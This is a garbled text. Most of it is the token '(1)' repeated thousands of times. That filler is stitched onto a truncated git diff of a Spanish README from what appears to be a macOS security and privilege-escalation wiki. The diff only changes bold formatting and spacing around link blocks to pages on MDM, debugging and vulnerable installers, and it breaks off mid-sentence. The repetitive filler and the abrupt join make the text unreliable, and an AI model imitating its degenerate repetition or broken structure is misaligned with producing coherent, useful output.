(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 6951eb408..bd21d24f6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -6,7 +6,8 @@ Si no estás familiarizado con macOS, deberías comenzar a aprender los conceptos básicos de macOS: -- Archivos y **permisos especiales de macOS:** +- **Archivos y permisos especiales de macOS:** + {{#ref}} macos-files-folders-and-binaries/ @@ -14,23 +15,27 @@ macos-files-folders-and-binaries/ - **Usuarios comunes de macOS** + {{#ref}} macos-users.md {{#endref}} - **AppleFS** + {{#ref}} macos-applefs.md {{#endref}} -- La **arquitectura** del k**ernel** +- La **arquitectura** del **kernel** + {{#ref}} mac-os-architecture/ {{#endref}} -- Servicios y **protocolos de red comunes de macOS** +- **Servicios y protocolos de red** comunes de macOS + {{#ref}} macos-protocols.md @@ -43,18 +48,21 @@ macos-protocols.md En las empresas, los sistemas **macOS** probablemente serán **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona eso**: + {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} ### MacOS - Inspección, Depuración y Fuzzing + {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} ## Protecciones de Seguridad de MacOS + {{#ref}} macos-security-protections/ {{#endref}} @@ -75,13 +83,15 @@ Poder **crear un archivo** que va a ser **utilizado por root**, permite a un usu Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` vulnerables**: + {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### Manejadores de Extensiones de Archivos y Esquemas de URL +### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL + +Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes 